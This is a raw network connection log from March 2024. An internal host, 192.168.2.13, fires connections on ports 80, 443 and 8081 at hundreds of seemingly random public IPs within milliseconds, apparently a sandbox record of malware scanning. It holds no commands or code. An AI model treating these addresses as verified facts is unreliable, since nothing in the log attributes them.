Mar 21, 2024 05:16:56.488516092 CET	44114	80	192.168.2.13	140.115.169.214
Mar 21, 2024 05:16:56.488522053 CET	44114	80	192.168.2.13	66.49.178.253
Mar 21, 2024 05:16:56.488524914 CET	44114	80	192.168.2.13	90.35.45.124
Mar 21, 2024 05:16:56.488538027 CET	44114	80	192.168.2.13	110.229.17.245
Mar 21, 2024 05:16:56.488543034 CET	44114	80	192.168.2.13	155.161.246.112
Mar 21, 2024 05:16:56.488548040 CET	44114	80	192.168.2.13	40.108.94.124
Mar 21, 2024 05:16:56.488557100 CET	44114	80	192.168.2.13	61.93.85.192
Mar 21, 2024 05:16:56.488574982 CET	44114	80	192.168.2.13	53.23.242.83
Mar 21, 2024 05:16:56.488575935 CET	44114	80	192.168.2.13	213.54.245.249
Mar 21, 2024 05:16:56.488576889 CET	44114	80	192.168.2.13	185.193.15.134
Mar 21, 2024 05:16:56.488576889 CET	44114	80	192.168.2.13	145.247.28.157
Mar 21, 2024 05:16:56.488580942 CET	44114	80	192.168.2.13	163.112.56.181
Mar 21, 2024 05:16:56.488595963 CET	44114	80	192.168.2.13	106.239.117.180
Mar 21, 2024 05:16:56.488595963 CET	44114	80	192.168.2.13	87.68.202.252
Mar 21, 2024 05:16:56.488599062 CET	44114	80	192.168.2.13	161.82.236.156
Mar 21, 2024 05:16:56.488601923 CET	44114	80	192.168.2.13	110.177.171.48
Mar 21, 2024 05:16:56.488620996 CET	43602	443	192.168.2.13	212.101.41.125
Mar 21, 2024 05:16:56.488620996 CET	43602	443	192.168.2.13	210.206.30.18
Mar 21, 2024 05:16:56.488631010 CET	43602	443	192.168.2.13	37.234.42.172
Mar 21, 2024 05:16:56.488636017 CET	443	43602	37.234.42.172	192.168.2.13
Mar 21, 2024 05:16:56.488636017 CET	443	43602	212.101.41.125	192.168.2.13
Mar 21, 2024 05:16:56.488642931 CET	443	43602	210.206.30.18	192.168.2.13
Mar 21, 2024 05:16:56.488642931 CET	43602	443	192.168.2.13	94.5.238.206
Mar 21, 2024 05:16:56.488650084 CET	43602	443	192.168.2.13	2.196.237.69
Mar 21, 2024 05:16:56.488650084 CET	43602	443	192.168.2.13	79.140.114.108
Mar 21, 2024 05:16:56.488651991 CET	443	43602	94.5.238.206	192.168.2.13
Mar 21, 2024 05:16:56.488662004 CET	43602	443	192.168.2.13	42.26.54.153
Mar 21, 2024 05:16:56.488662958 CET	443	43602	2.196.237.69	192.168.2.13
Mar 21, 2024 05:16:56.488668919 CET	443	43602	42.26.54.153	192.168.2.13
Mar 21, 2024 05:16:56.488677025 CET	43602	443	192.168.2.13	210.206.30.18
Mar 21, 2024 05:16:56.488677979 CET	443	43602	79.140.114.108	192.168.2.13
Mar 21, 2024 05:16:56.488678932 CET	43602	443	192.168.2.13	37.234.42.172
Mar 21, 2024 05:16:56.488678932 CET	43602	443	192.168.2.13	210.152.189.208
Mar 21, 2024 05:16:56.488686085 CET	443	43602	210.152.189.208	192.168.2.13
Mar 21, 2024 05:16:56.488688946 CET	43602	443	192.168.2.13	109.120.130.162
Mar 21, 2024 05:16:56.488688946 CET	43602	443	192.168.2.13	2.196.237.69
Mar 21, 2024 05:16:56.488692999 CET	43602	443	192.168.2.13	94.89.149.103
Mar 21, 2024 05:16:56.488693953 CET	43602	443	192.168.2.13	94.5.238.206
Mar 21, 2024 05:16:56.488696098 CET	43602	443	192.168.2.13	212.101.41.125
Mar 21, 2024 05:16:56.488696098 CET	43602	443	192.168.2.13	5.163.139.17
Mar 21, 2024 05:16:56.488699913 CET	443	43602	109.120.130.162	192.168.2.13
Mar 21, 2024 05:16:56.488702059 CET	43602	443	192.168.2.13	109.207.213.63
Mar 21, 2024 05:16:56.488703012 CET	443	43602	94.89.149.103	192.168.2.13
Mar 21, 2024 05:16:56.488706112 CET	443	43602	5.163.139.17	192.168.2.13
Mar 21, 2024 05:16:56.488708973 CET	43602	443	192.168.2.13	94.217.53.123
Mar 21, 2024 05:16:56.488709927 CET	43602	443	192.168.2.13	42.26.54.153
Mar 21, 2024 05:16:56.488711119 CET	43602	443	192.168.2.13	79.140.114.108
Mar 21, 2024 05:16:56.488714933 CET	443	43602	109.207.213.63	192.168.2.13
Mar 21, 2024 05:16:56.488714933 CET	443	43602	94.217.53.123	192.168.2.13
Mar 21, 2024 05:16:56.488715887 CET	43602	443	192.168.2.13	109.125.86.51
Mar 21, 2024 05:16:56.488718987 CET	43602	443	192.168.2.13	109.221.61.207
Mar 21, 2024 05:16:56.488724947 CET	443	43602	109.221.61.207	192.168.2.13
Mar 21, 2024 05:16:56.488729000 CET	443	43602	109.125.86.51	192.168.2.13
Mar 21, 2024 05:16:56.488730907 CET	43602	443	192.168.2.13	109.120.130.162
Mar 21, 2024 05:16:56.488732100 CET	43602	443	192.168.2.13	210.152.189.208
Mar 21, 2024 05:16:56.488734007 CET	43602	443	192.168.2.13	212.25.207.57
Mar 21, 2024 05:16:56.488734007 CET	43602	443	192.168.2.13	94.143.215.189
Mar 21, 2024 05:16:56.488734007 CET	43602	443	192.168.2.13	5.163.139.17
Mar 21, 2024 05:16:56.488735914 CET	43602	443	192.168.2.13	94.89.149.103
Mar 21, 2024 05:16:56.488745928 CET	443	43602	212.25.207.57	192.168.2.13
Mar 21, 2024 05:16:56.488756895 CET	43602	443	192.168.2.13	109.207.213.63
Mar 21, 2024 05:16:56.488758087 CET	43602	443	192.168.2.13	94.217.53.123
Mar 21, 2024 05:16:56.488758087 CET	43602	443	192.168.2.13	109.221.61.207
Mar 21, 2024 05:16:56.488759995 CET	443	43602	94.143.215.189	192.168.2.13
Mar 21, 2024 05:16:56.488780022 CET	43602	443	192.168.2.13	109.125.86.51
Mar 21, 2024 05:16:56.488785982 CET	43602	443	192.168.2.13	212.25.207.57
Mar 21, 2024 05:16:56.488806963 CET	44114	80	192.168.2.13	199.218.214.0
Mar 21, 2024 05:16:56.488806963 CET	43602	443	192.168.2.13	94.143.215.189
Mar 21, 2024 05:16:56.488811970 CET	44114	80	192.168.2.13	65.135.117.199
Mar 21, 2024 05:16:56.488811970 CET	44114	80	192.168.2.13	155.92.154.9
Mar 21, 2024 05:16:56.488816977 CET	44114	80	192.168.2.13	38.242.108.75
Mar 21, 2024 05:16:56.488823891 CET	44114	80	192.168.2.13	217.0.34.6
Mar 21, 2024 05:16:56.488823891 CET	44114	80	192.168.2.13	31.38.51.242
Mar 21, 2024 05:16:56.488826990 CET	44114	80	192.168.2.13	68.4.117.74
Mar 21, 2024 05:16:56.488826990 CET	44114	80	192.168.2.13	143.198.141.117
Mar 21, 2024 05:16:56.488826990 CET	44114	80	192.168.2.13	175.87.215.164
Mar 21, 2024 05:16:56.488851070 CET	44114	80	192.168.2.13	43.24.57.132
Mar 21, 2024 05:16:56.488853931 CET	44114	80	192.168.2.13	71.244.62.167
Mar 21, 2024 05:16:56.488862038 CET	44114	80	192.168.2.13	118.252.49.172
Mar 21, 2024 05:16:56.488862038 CET	44114	80	192.168.2.13	104.30.104.27
Mar 21, 2024 05:16:56.488887072 CET	44114	80	192.168.2.13	48.224.29.242
Mar 21, 2024 05:16:56.488887072 CET	44114	80	192.168.2.13	164.52.82.111
Mar 21, 2024 05:16:56.488889933 CET	44114	80	192.168.2.13	66.23.138.93
Mar 21, 2024 05:16:56.488892078 CET	44114	80	192.168.2.13	119.236.224.50
Mar 21, 2024 05:16:56.488893986 CET	44114	80	192.168.2.13	222.194.103.36
Mar 21, 2024 05:16:56.488900900 CET	44114	80	192.168.2.13	157.160.59.192
Mar 21, 2024 05:16:56.488900900 CET	44114	80	192.168.2.13	18.107.68.113
Mar 21, 2024 05:16:56.488924026 CET	44114	80	192.168.2.13	18.219.61.242
Mar 21, 2024 05:16:56.488928080 CET	44114	80	192.168.2.13	223.192.98.178
Mar 21, 2024 05:16:56.488934040 CET	44114	80	192.168.2.13	99.107.31.188
Mar 21, 2024 05:16:56.488951921 CET	44114	80	192.168.2.13	50.218.81.72
Mar 21, 2024 05:16:56.488955975 CET	44882	8081	192.168.2.13	42.11.31.50
Mar 21, 2024 05:16:56.488961935 CET	44114	80	192.168.2.13	66.195.67.246
Mar 21, 2024 05:16:56.488965988 CET	44114	80	192.168.2.13	188.31.62.10
Mar 21, 2024 05:16:56.488965988 CET	44114	80	192.168.2.13	69.186.51.110
Mar 21, 2024 05:16:56.488970995 CET	44114	80	192.168.2.13	58.113.171.153
Mar 21, 2024 05:16:56.488970995 CET	44114	80	192.168.2.13	65.66.65.118
Mar 21, 2024 05:16:56.488986015 CET	44114	80	192.168.2.13	86.228.179.253
Mar 21, 2024 05:16:56.488986015 CET	44114	80	192.168.2.13	43.162.42.95
Mar 21, 2024 05:16:56.488986969 CET	44114	80	192.168.2.13	25.76.108.45
Mar 21, 2024 05:16:56.488987923 CET	44114	80	192.168.2.13	118.187.69.57
Mar 21, 2024 05:16:56.488991976 CET	44114	80	192.168.2.13	175.152.76.130
Mar 21, 2024 05:16:56.488991976 CET	44114	80	192.168.2.13	64.201.126.100
Mar 21, 2024 05:16:56.489005089 CET	44882	8081	192.168.2.13	41.85.167.50
Mar 21, 2024 05:16:56.489005089 CET	43602	443	192.168.2.13	94.35.6.52
Mar 21, 2024 05:16:56.489011049 CET	43602	443	192.168.2.13	210.171.15.64
Mar 21, 2024 05:16:56.489011049 CET	443	43602	94.35.6.52	192.168.2.13
Mar 21, 2024 05:16:56.489011049 CET	43602	443	192.168.2.13	2.21.29.96
Mar 21, 2024 05:16:56.489023924 CET	443	43602	210.171.15.64	192.168.2.13
Mar 21, 2024 05:16:56.489026070 CET	43602	443	192.168.2.13	109.36.218.60
Mar 21, 2024 05:16:56.489027023 CET	43602	443	192.168.2.13	210.142.59.223
Mar 21, 2024 05:16:56.489032030 CET	443	43602	109.36.218.60	192.168.2.13
Mar 21, 2024 05:16:56.489033937 CET	443	43602	210.142.59.223	192.168.2.13
Mar 21, 2024 05:16:56.489033937 CET	43602	443	192.168.2.13	42.184.183.99
Mar 21, 2024 05:16:56.489033937 CET	43602	443	192.168.2.13	94.74.219.65
Mar 21, 2024 05:16:56.489036083 CET	443	43602	2.21.29.96	192.168.2.13
Mar 21, 2024 05:16:56.489042997 CET	443	43602	42.184.183.99	192.168.2.13
Mar 21, 2024 05:16:56.489042997 CET	43602	443	192.168.2.13	94.35.6.52
Mar 21, 2024 05:16:56.489052057 CET	443	43602	94.74.219.65	192.168.2.13
Mar 21, 2024 05:16:56.489061117 CET	43602	443	192.168.2.13	210.171.15.64
Mar 21, 2024 05:16:56.489062071 CET	43602	443	192.168.2.13	5.151.131.189
Mar 21, 2024 05:16:56.489061117 CET	43602	443	192.168.2.13	94.74.87.180
Mar 21, 2024 05:16:56.489063025 CET	43602	443	192.168.2.13	178.193.168.253
Mar 21, 2024 05:16:56.489067078 CET	43602	443	192.168.2.13	37.111.76.39
Mar 21, 2024 05:16:56.489067078 CET	43602	443	192.168.2.13	109.36.218.60
Mar 21, 2024 05:16:56.489069939 CET	443	43602	5.151.131.189	192.168.2.13
Mar 21, 2024 05:16:56.489073038 CET	43602	443	192.168.2.13	210.58.192.248
Mar 21, 2024 05:16:56.489073992 CET	443	43602	37.111.76.39	192.168.2.13
Mar 21, 2024 05:16:56.489074945 CET	43602	443	192.168.2.13	42.184.183.99
Mar 21, 2024 05:16:56.489074945 CET	443	43602	94.74.87.180	192.168.2.13
Mar 21, 2024 05:16:56.489075899 CET	443	43602	178.193.168.253	192.168.2.13
Mar 21, 2024 05:16:56.489078999 CET	443	43602	210.58.192.248	192.168.2.13
Mar 21, 2024 05:16:56.489089012 CET	43602	443	192.168.2.13	94.74.219.65
Mar 21, 2024 05:16:56.489089966 CET	43602	443	192.168.2.13	2.21.29.96
Mar 21, 2024 05:16:56.489089966 CET	43602	443	192.168.2.13	42.247.84.2
Mar 21, 2024 05:16:56.489090919 CET	43602	443	192.168.2.13	42.161.197.89
Mar 21, 2024 05:16:56.489094019 CET	43602	443	192.168.2.13	178.10.73.16
Mar 21, 2024 05:16:56.489099026 CET	43602	443	192.168.2.13	210.233.161.133
Mar 21, 2024 05:16:56.489101887 CET	443	43602	178.10.73.16	192.168.2.13
Mar 21, 2024 05:16:56.489108086 CET	443	43602	42.247.84.2	192.168.2.13
Mar 21, 2024 05:16:56.489109039 CET	443	43602	42.161.197.89	192.168.2.13
Mar 21, 2024 05:16:56.489109039 CET	443	43602	210.233.161.133	192.168.2.13
Mar 21, 2024 05:16:56.489109993 CET	43602	443	192.168.2.13	37.111.76.39
Mar 21, 2024 05:16:56.489115953 CET	43602	443	192.168.2.13	79.15.76.172
Mar 21, 2024 05:16:56.489121914 CET	443	43602	79.15.76.172	192.168.2.13
Mar 21, 2024 05:16:56.489123106 CET	43602	443	192.168.2.13	210.58.192.248
Mar 21, 2024 05:16:56.489123106 CET	43602	443	192.168.2.13	212.16.189.231
Mar 21, 2024 05:16:56.489123106 CET	43602	443	192.168.2.13	118.185.23.15
Mar 21, 2024 05:16:56.489131927 CET	43602	443	192.168.2.13	94.97.239.96
Mar 21, 2024 05:16:56.489131927 CET	443	43602	212.16.189.231	192.168.2.13
Mar 21, 2024 05:16:56.489131927 CET	43602	443	192.168.2.13	94.74.87.180
Mar 21, 2024 05:16:56.489132881 CET	43602	443	192.168.2.13	210.142.59.223
Mar 21, 2024 05:16:56.489135027 CET	43602	443	192.168.2.13	212.226.80.253
Mar 21, 2024 05:16:56.489135027 CET	43602	443	192.168.2.13	178.10.73.16
Mar 21, 2024 05:16:56.489140987 CET	443	43602	118.185.23.15	192.168.2.13
Mar 21, 2024 05:16:56.489141941 CET	443	43602	212.226.80.253	192.168.2.13
Mar 21, 2024 05:16:56.489141941 CET	443	43602	94.97.239.96	192.168.2.13
Mar 21, 2024 05:16:56.489140987 CET	43602	443	192.168.2.13	178.193.168.253
Mar 21, 2024 05:16:56.489142895 CET	43602	443	192.168.2.13	94.239.136.67
Mar 21, 2024 05:16:56.489150047 CET	443	43602	94.239.136.67	192.168.2.13
Mar 21, 2024 05:16:56.489150047 CET	43602	443	192.168.2.13	210.233.161.133
Mar 21, 2024 05:16:56.489151955 CET	43602	443	192.168.2.13	178.90.75.186
Mar 21, 2024 05:16:56.489160061 CET	443	43602	178.90.75.186	192.168.2.13
Mar 21, 2024 05:16:56.489161015 CET	43602	443	192.168.2.13	42.35.212.112
Mar 21, 2024 05:16:56.489161015 CET	43602	443	192.168.2.13	42.247.84.2
Mar 21, 2024 05:16:56.489161015 CET	43602	443	192.168.2.13	42.161.197.89
Mar 21, 2024 05:16:56.489164114 CET	43602	443	192.168.2.13	212.16.189.231
Mar 21, 2024 05:16:56.489166021 CET	43602	443	192.168.2.13	5.151.131.189
Mar 21, 2024 05:16:56.489168882 CET	43602	443	192.168.2.13	79.15.76.172
Mar 21, 2024 05:16:56.489172935 CET	443	43602	42.35.212.112	192.168.2.13
Mar 21, 2024 05:16:56.489175081 CET	43602	443	192.168.2.13	212.226.80.253
Mar 21, 2024 05:16:56.489175081 CET	43602	443	192.168.2.13	109.119.240.60
Mar 21, 2024 05:16:56.489181042 CET	443	43602	109.119.240.60	192.168.2.13
Mar 21, 2024 05:16:56.489183903 CET	43602	443	192.168.2.13	118.185.23.15
Mar 21, 2024 05:16:56.489187956 CET	43602	443	192.168.2.13	94.97.239.96
Mar 21, 2024 05:16:56.489188910 CET	43602	443	192.168.2.13	94.239.136.67
Mar 21, 2024 05:16:56.489192963 CET	43602	443	192.168.2.13	178.90.75.186
Mar 21, 2024 05:16:56.489212990 CET	43602	443	192.168.2.13	109.119.240.60
Mar 21, 2024 05:16:56.489219904 CET	43602	443	192.168.2.13	42.35.212.112
Mar 21, 2024 05:16:56.489219904 CET	43602	443	192.168.2.13	79.224.1.43
Mar 21, 2024 05:16:56.489233017 CET	443	43602	79.224.1.43	192.168.2.13
Mar 21, 2024 05:16:56.489238024 CET	43602	443	192.168.2.13	37.186.22.133
Mar 21, 2024 05:16:56.489238024 CET	43602	443	192.168.2.13	94.66.82.138
Mar 21, 2024 05:16:56.489240885 CET	43602	443	192.168.2.13	212.37.226.187
Mar 21, 2024 05:16:56.489245892 CET	43602	443	192.168.2.13	5.2.237.149
Mar 21, 2024 05:16:56.489249945 CET	443	43602	212.37.226.187	192.168.2.13
Mar 21, 2024 05:16:56.489250898 CET	443	43602	37.186.22.133	192.168.2.13
Mar 21, 2024 05:16:56.489250898 CET	443	43602	5.2.237.149	192.168.2.13
Mar 21, 2024 05:16:56.489255905 CET	43602	443	192.168.2.13	94.5.118.33
Mar 21, 2024 05:16:56.489257097 CET	443	43602	94.66.82.138	192.168.2.13
Mar 21, 2024 05:16:56.489262104 CET	443	43602	94.5.118.33	192.168.2.13
Mar 21, 2024 05:16:56.489274025 CET	43602	443	192.168.2.13	42.6.148.118
Mar 21, 2024 05:16:56.489276886 CET	44114	80	192.168.2.13	204.162.182.78
Mar 21, 2024 05:16:56.489279032 CET	43602	443	192.168.2.13	79.224.1.43
Mar 21, 2024 05:16:56.489279032 CET	44114	80	192.168.2.13	96.147.240.29
Mar 21, 2024 05:16:56.489279032 CET	43602	443	192.168.2.13	212.37.226.187
Mar 21, 2024 05:16:56.489281893 CET	443	43602	42.6.148.118	192.168.2.13
Mar 21, 2024 05:16:56.489281893 CET	43602	443	192.168.2.13	118.84.235.218
Mar 21, 2024 05:16:56.489281893 CET	44114	80	192.168.2.13	185.159.7.93
Mar 21, 2024 05:16:56.489281893 CET	44114	80	192.168.2.13	123.185.201.148
Mar 21, 2024 05:16:56.489290953 CET	43602	443	192.168.2.13	37.186.22.133
Mar 21, 2024 05:16:56.489295006 CET	43602	443	192.168.2.13	5.2.237.149
Mar 21, 2024 05:16:56.489295959 CET	443	43602	118.84.235.218	192.168.2.13
Mar 21, 2024 05:16:56.489301920 CET	43602	443	192.168.2.13	94.66.82.138
Mar 21, 2024 05:16:56.489301920 CET	43602	443	192.168.2.13	42.6.148.118
Mar 21, 2024 05:16:56.489304066 CET	43602	443	192.168.2.13	94.5.118.33
Mar 21, 2024 05:16:56.489310980 CET	44114	80	192.168.2.13	94.26.61.29
Mar 21, 2024 05:16:56.489319086 CET	44114	80	192.168.2.13	144.208.6.180
Mar 21, 2024 05:16:56.489320040 CET	44114	80	192.168.2.13	69.190.56.184
Mar 21, 2024 05:16:56.489322901 CET	44882	8081	192.168.2.13	126.79.106.114
Mar 21, 2024 05:16:56.489330053 CET	44882	8081	192.168.2.13	132.212.255.157
Mar 21, 2024 05:16:56.489341021 CET	44882	8081	192.168.2.13	195.120.138.55
Mar 21, 2024 05:16:56.489341021 CET	44114	80	192.168.2.13	176.124.153.211
Mar 21, 2024 05:16:56.489341974 CET	43602	443	192.168.2.13	118.84.235.218
Mar 21, 2024 05:16:56.489341021 CET	44114	80	192.168.2.13	96.26.171.208
Mar 21, 2024 05:16:56.489342928 CET	44114	80	192.168.2.13	61.37.245.17
Mar 21, 2024 05:16:56.489351034 CET	44882	8081	192.168.2.13	54.123.8.107
Mar 21, 2024 05:16:56.489371061 CET	44114	80	192.168.2.13	53.102.24.216
Mar 21, 2024 05:16:56.489378929 CET	44882	8081	192.168.2.13	206.57.96.5
Mar 21, 2024 05:16:56.489387989 CET	44114	80	192.168.2.13	168.94.35.217
Mar 21, 2024 05:16:56.489387989 CET	44882	8081	192.168.2.13	63.83.126.178
Mar 21, 2024 05:16:56.489387989 CET	44114	80	192.168.2.13	125.62.119.175
Mar 21, 2024 05:16:56.489389896 CET	44114	80	192.168.2.13	91.223.207.164
Mar 21, 2024 05:16:56.489393950 CET	44882	8081	192.168.2.13	82.124.176.203
Mar 21, 2024 05:16:56.489397049 CET	44114	80	192.168.2.13	12.249.158.201
Mar 21, 2024 05:16:56.489398956 CET	44882	8081	192.168.2.13	53.18.123.25
Mar 21, 2024 05:16:56.489403963 CET	44114	80	192.168.2.13	2.145.160.69
Mar 21, 2024 05:16:56.489414930 CET	44114	80	192.168.2.13	23.71.252.193
Mar 21, 2024 05:16:56.489422083 CET	44114	80	192.168.2.13	143.56.46.26
Mar 21, 2024 05:16:56.489422083 CET	44114	80	192.168.2.13	171.181.137.24
Mar 21, 2024 05:16:56.489428997 CET	44114	80	192.168.2.13	138.86.190.103
Mar 21, 2024 05:16:56.489428997 CET	44114	80	192.168.2.13	216.98.16.74
Mar 21, 2024 05:16:56.489430904 CET	44882	8081	192.168.2.13	153.102.99.238
Mar 21, 2024 05:16:56.489430904 CET	44882	8081	192.168.2.13	222.236.231.42
Mar 21, 2024 05:16:56.489439964 CET	44114	80	192.168.2.13	129.87.113.169
Mar 21, 2024 05:16:56.489443064 CET	44882	8081	192.168.2.13	72.74.198.167
Mar 21, 2024 05:16:56.489447117 CET	44114	80	192.168.2.13	92.223.219.114
Mar 21, 2024 05:16:56.489447117 CET	44114	80	192.168.2.13	111.85.233.134
Mar 21, 2024 05:16:56.489447117 CET	44114	80	192.168.2.13	151.78.167.209
Mar 21, 2024 05:16:56.489449024 CET	44882	8081	192.168.2.13	45.120.160.195
Mar 21, 2024 05:16:56.489449024 CET	44882	8081	192.168.2.13	12.45.140.72
Mar 21, 2024 05:16:56.489449024 CET	44882	8081	192.168.2.13	102.41.89.75
Mar 21, 2024 05:16:56.489449024 CET	44114	80	192.168.2.13	110.48.189.98
Mar 21, 2024 05:16:56.489449024 CET	44882	8081	192.168.2.13	179.40.100.169
Mar 21, 2024 05:16:56.489449024 CET	44882	8081	192.168.2.13	59.4.236.237
Mar 21, 2024 05:16:56.489449024 CET	44882	8081	192.168.2.13	175.251.52.121
Mar 21, 2024 05:16:56.489459038 CET	44114	80	192.168.2.13	111.9.207.121
Mar 21, 2024 05:16:56.489459991 CET	44114	80	192.168.2.13	69.186.134.66
Mar 21, 2024 05:16:56.489459038 CET	44882	8081	192.168.2.13	128.220.72.42
Mar 21, 2024 05:16:56.489459038 CET	44882	8081	192.168.2.13	210.73.44.179
Mar 21, 2024 05:16:56.489464045 CET	44114	80	192.168.2.13	205.132.107.202
Mar 21, 2024 05:16:56.489471912 CET	44882	8081	192.168.2.13	4.231.239.155
Mar 21, 2024 05:16:56.489471912 CET	44882	8081	192.168.2.13	59.182.219.214
Mar 21, 2024 05:16:56.489473104 CET	44882	8081	192.168.2.13	186.48.210.197
Mar 21, 2024 05:16:56.489473104 CET	44882	8081	192.168.2.13	91.37.142.137
Mar 21, 2024 05:16:56.489471912 CET	44882	8081	192.168.2.13	164.91.69.170
Mar 21, 2024 05:16:56.489474058 CET	44114	80	192.168.2.13	143.76.97.243
Mar 21, 2024 05:16:56.489471912 CET	44882	8081	192.168.2.13	44.167.0.138
Mar 21, 2024 05:16:56.489478111 CET	44114	80	192.168.2.13	88.133.35.255
Mar 21, 2024 05:16:56.489489079 CET	44114	80	192.168.2.13	175.242.30.149
Mar 21, 2024 05:16:56.489490986 CET	44114	80	192.168.2.13	145.241.251.184
Mar 21, 2024 05:16:56.489494085 CET	44114	80	192.168.2.13	134.199.130.85
Mar 21, 2024 05:16:56.489494085 CET	44114	80	192.168.2.13	99.214.146.127
Mar 21, 2024 05:16:56.489499092 CET	44114	80	192.168.2.13	180.132.87.103
Mar 21, 2024 05:16:56.489506960 CET	44114	80	192.168.2.13	75.55.207.128
Mar 21, 2024 05:16:56.489510059 CET	44114	80	192.168.2.13	144.198.244.41
Mar 21, 2024 05:16:56.489526987 CET	44114	80	192.168.2.13	104.154.134.135
Mar 21, 2024 05:16:56.489530087 CET	44114	80	192.168.2.13	80.117.164.60
Mar 21, 2024 05:16:56.489530087 CET	44882	8081	192.168.2.13	169.53.72.205
Mar 21, 2024 05:16:56.489552975 CET	44882	8081	192.168.2.13	156.54.102.132
Mar 21, 2024 05:16:56.489553928 CET	44882	8081	192.168.2.13	61.255.216.158
Mar 21, 2024 05:16:56.489553928 CET	43602	443	192.168.2.13	37.21.42.103
Mar 21, 2024 05:16:56.489558935 CET	43602	443	192.168.2.13	118.228.113.189
Mar 21, 2024 05:16:56.489564896 CET	443	43602	118.228.113.189	192.168.2.13
Mar 21, 2024 05:16:56.489571095 CET	443	43602	37.21.42.103	192.168.2.13
Mar 21, 2024 05:16:56.489578962 CET	43602	443	192.168.2.13	5.19.238.234
Mar 21, 2024 05:16:56.489578962 CET	43602	443	192.168.2.13	37.188.218.225
Mar 21, 2024 05:16:56.489584923 CET	443	43602	37.188.218.225	192.168.2.13
Mar 21, 2024 05:16:56.489584923 CET	443	43602	5.19.238.234	192.168.2.13
Mar 21, 2024 05:16:56.489587069 CET	43602	443	192.168.2.13	212.30.62.165
Mar 21, 2024 05:16:56.489593029 CET	443	43602	212.30.62.165	192.168.2.13
Mar 21, 2024 05:16:56.489594936 CET	43602	443	192.168.2.13	212.217.245.246
Mar 21, 2024 05:16:56.489600897 CET	443	43602	212.217.245.246	192.168.2.13
Mar 21, 2024 05:16:56.489603043 CET	43602	443	192.168.2.13	118.228.113.189
Mar 21, 2024 05:16:56.489603996 CET	43602	443	192.168.2.13	37.9.17.99
Mar 21, 2024 05:16:56.489609957 CET	443	43602	37.9.17.99	192.168.2.13
Mar 21, 2024 05:16:56.489622116 CET	43602	443	192.168.2.13	212.30.62.165
Mar 21, 2024 05:16:56.489628077 CET	43602	443	192.168.2.13	212.217.245.246
Mar 21, 2024 05:16:56.489630938 CET	43602	443	192.168.2.13	37.188.218.225
Mar 21, 2024 05:16:56.489634037 CET	43602	443	192.168.2.13	5.19.238.234
Mar 21, 2024 05:16:56.489634037 CET	43602	443	192.168.2.13	37.21.42.103
Mar 21, 2024 05:16:56.489634037 CET	43602	443	192.168.2.13	5.227.177.16
Mar 21, 2024 05:16:56.489634037 CET	43602	443	192.168.2.13	37.9.17.99
Mar 21, 2024 05:16:56.489641905 CET	443	43602	5.227.177.16	192.168.2.13
Mar 21, 2024 05:16:56.489645004 CET	43602	443	192.168.2.13	118.150.136.89
Mar 21, 2024 05:16:56.489651918 CET	443	43602	118.150.136.89	192.168.2.13
Mar 21, 2024 05:16:56.489681959 CET	44882	8081	192.168.2.13	81.247.215.102
Mar 21, 2024 05:16:56.489681959 CET	43602	443	192.168.2.13	5.227.177.16
Mar 21, 2024 05:16:56.489684105 CET	44882	8081	192.168.2.13	121.211.170.166
Mar 21, 2024 05:16:56.489686012 CET	44882	8081	192.168.2.13	95.48.12.235
Mar 21, 2024 05:16:56.489686012 CET	43602	443	192.168.2.13	118.150.136.89
Mar 21, 2024 05:16:56.489686966 CET	44882	8081	192.168.2.13	114.7.98.115
Mar 21, 2024 05:16:56.489686966 CET	44114	80	192.168.2.13	109.120.64.99
Mar 21, 2024 05:16:56.489686966 CET	44882	8081	192.168.2.13	130.134.222.144
Mar 21, 2024 05:16:56.489690065 CET	44114	80	192.168.2.13	192.152.79.173
Mar 21, 2024 05:16:56.489727020 CET	44114	80	192.168.2.13	8.158.41.42
Mar 21, 2024 05:16:56.489727020 CET	44882	8081	192.168.2.13	95.229.242.63
Mar 21, 2024 05:16:56.489728928 CET	44882	8081	192.168.2.13	76.198.248.66
Mar 21, 2024 05:16:56.489732027 CET	44882	8081	192.168.2.13	79.30.90.106
Mar 21, 2024 05:16:56.489744902 CET	43602	443	192.168.2.13	109.36.243.86
Mar 21, 2024 05:16:56.489746094 CET	44882	8081	192.168.2.13	204.108.72.138
Mar 21, 2024 05:16:56.489746094 CET	43602	443	192.168.2.13	118.73.120.45
Mar 21, 2024 05:16:56.489746094 CET	43602	443	192.168.2.13	94.229.207.64
Mar 21, 2024 05:16:56.489751101 CET	43602	443	192.168.2.13	5.224.77.120
Mar 21, 2024 05:16:56.489752054 CET	43602	443	192.168.2.13	79.91.247.83
Mar 21, 2024 05:16:56.489753962 CET	443	43602	109.36.243.86	192.168.2.13
Mar 21, 2024 05:16:56.489754915 CET	44882	8081	192.168.2.13	113.147.120.125
Mar 21, 2024 05:16:56.489756107 CET	44882	8081	192.168.2.13	23.54.233.164
Mar 21, 2024 05:16:56.489759922 CET	443	43602	118.73.120.45	192.168.2.13
Mar 21, 2024 05:16:56.489761114 CET	443	43602	94.229.207.64	192.168.2.13
Mar 21, 2024 05:16:56.489761114 CET	443	43602	5.224.77.120	192.168.2.13
Mar 21, 2024 05:16:56.489769936 CET	44882	8081	192.168.2.13	94.161.150.136
Mar 21, 2024 05:16:56.489769936 CET	44882	8081	192.168.2.13	134.21.157.43
Mar 21, 2024 05:16:56.489770889 CET	443	43602	79.91.247.83	192.168.2.13
Mar 21, 2024 05:16:56.489769936 CET	44882	8081	192.168.2.13	122.219.184.241
Mar 21, 2024 05:16:56.489769936 CET	43602	443	192.168.2.13	42.171.217.134
Mar 21, 2024 05:16:56.489773035 CET	44882	8081	192.168.2.13	176.185.225.162
Mar 21, 2024 05:16:56.489773035 CET	43602	443	192.168.2.13	42.15.247.240
Mar 21, 2024 05:16:56.489773989 CET	43602	443	192.168.2.13	42.137.190.129
Mar 21, 2024 05:16:56.489773989 CET	43602	443	192.168.2.13	118.206.21.166
Mar 21, 2024 05:16:56.489775896 CET	43602	443	192.168.2.13	118.189.151.82
Mar 21, 2024 05:16:56.489778996 CET	44882	8081	192.168.2.13	71.191.120.90
Mar 21, 2024 05:16:56.489778996 CET	43602	443	192.168.2.13	37.160.124.190
Mar 21, 2024 05:16:56.489778996 CET	44882	8081	192.168.2.13	73.30.134.158
Mar 21, 2024 05:16:56.489778996 CET	44882	8081	192.168.2.13	72.110.241.5
Mar 21, 2024 05:16:56.489778996 CET	44882	8081	192.168.2.13	40.72.119.177
Mar 21, 2024 05:16:56.489784956 CET	443	43602	118.189.151.82	192.168.2.13
Mar 21, 2024 05:16:56.489788055 CET	443	43602	42.15.247.240	192.168.2.13
Mar 21, 2024 05:16:56.489789963 CET	443	43602	42.171.217.134	192.168.2.13
